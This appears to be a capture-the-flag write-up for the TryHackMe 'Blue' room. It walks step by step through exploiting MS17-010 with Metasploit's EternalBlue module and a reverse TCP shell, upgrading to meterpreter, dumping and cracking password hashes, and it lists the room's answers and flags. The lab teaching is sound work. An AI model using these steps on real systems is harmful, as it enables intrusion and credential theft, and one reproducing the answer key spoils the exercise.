THM Blue - grunt92/IT-Sec-WriteUps GitHub Wiki
No answer needed
Run nmap -A -Pn -p- IP.
3
In the results of the nmap-scan you can find a service pack. Googling the service pack you find the "Eternalblue SMB Remote Code Execution" that is based on the service pack.
MS17-010
No answer needed
Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)
In Metasploit search "eternalblue" and you find the answer:
exploit/windows/smb/ms17_010_eternalblue
Show options and set the one required value. What is the name of this value? (All caps for submission)
RHOSTS
Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:
set payload windows/x64/shell/reverse_tcp
With that done, run the exploit!
No answer needed
Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.
No answer needed
If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)
Search "shell_to_meterpreter".
post/multi/manage/shell_to_meterpreter
SESSION
No answer needed
No answer needed
No answer needed
Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.
No answer needed
List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).
No answer needed
Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.
No answer needed
Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?
Follow the instructions.
Jon
Select a tool of your choice and use it to crack the hash. I used crackstation.
alqfna22
You can find all flags by using search -f flag*. You can use cat "\path\to\file" to get the contents of the individual flags.
flag{access_the_machine}
flag{sam_database_elevated_access}
flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.
flag{admin_documents_can_be_valuable}